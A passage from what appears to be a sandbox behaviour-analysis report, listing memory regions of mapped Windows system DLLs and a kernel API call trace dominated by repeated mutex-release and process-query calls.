0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8613 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8614 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8615 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8616 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8617 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8618 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8619 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8620 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8621 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8622 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8623 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8624 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8625 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8626 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8627 start_va = 0x7c61780000 end_va = 0x7c61780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c61780000" filename = "" Region: id = 8628 start_va = 0x7c617c0000 end_va = 0x7c617cffff entry_point = 0x0 region_type = private name = "private_0x0000007c617c0000" filename = "" Region: id = 8629 start_va = 0x7c63010000 end_va = 0x7c63227fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c63010000" filename = "" Region: id = 8647 start_va = 0x7c61780000 end_va = 0x7c61782fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c61780000" filename = "" Region: id = 8648 start_va = 0x7c61790000 end_va = 0x7c61790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c61790000" filename = "" Region: id = 8649 start_va = 0x7c63230000 end_va = 0x7c660c5fff entry_point = 0x7c63230000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8650 start_va = 0x7c660d0000 end_va = 0x7c664c9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c660d0000" filename = "" Region: id = 8651 start_va = 0x7c664d0000 end_va = 0x7c66513fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c664d0000" filename = "" Region: id = 8652 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8653 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8654 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8655 start_va = 0x7c66520000 end_va = 0x7c6662efff entry_point = 0x0 region_type = private name = "private_0x0000007c66520000" filename = "" Thread: id = 799 os_tid = 0x95c [0123.283] EngAllocMem () returned 0xfffff90142521030 [0123.283] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.283] MmMapViewOfSection (in: SectionObject=0xffffc00001544cc0, Process=0xffffe00000c8f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021cb1ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x7c63010000, SectionOffset=0xffffd00021cb1ed0, ViewSize=0xfffff90142521370) returned 0x0 [0123.283] EngCreateBitmap () returned 0x240505b4 [0123.283] EngAssociateSurface () returned 0x1 [0123.283] EngLockSurface () returned 0xfffff901400f55c8 [0123.283] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000111b790 [0123.283] KeInitializeEvent (in: Event=0xffffe0000111b7a8, Type=0x1, State=0 | out: Event=0xffffe0000111b7a8) [0123.283] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.290] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0123.306] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.313] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.313] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.313] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.313] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.314] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.314] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.314] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.314] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.314] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.316] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.316] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.316] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.316] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.316] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.316] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.317] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.317] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.317] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.317] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.318] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.318] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.318] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.318] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.318] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.318] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.319] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.319] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.319] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.319] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.319] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.320] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.320] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.320] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.320] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.320] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.321] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.321] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.321] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.321] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.321] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.322] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.322] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.334] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.334] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.334] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.334] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.334] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.335] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.335] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.335] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.335] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.336] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.336] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.336] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.336] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.336] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.337] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.337] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.345] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.345] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.346] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.346] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.346] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.346] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.347] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.347] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.348] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.350] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.351] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.351] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.351] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.352] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.396] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.397] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.406] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.406] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 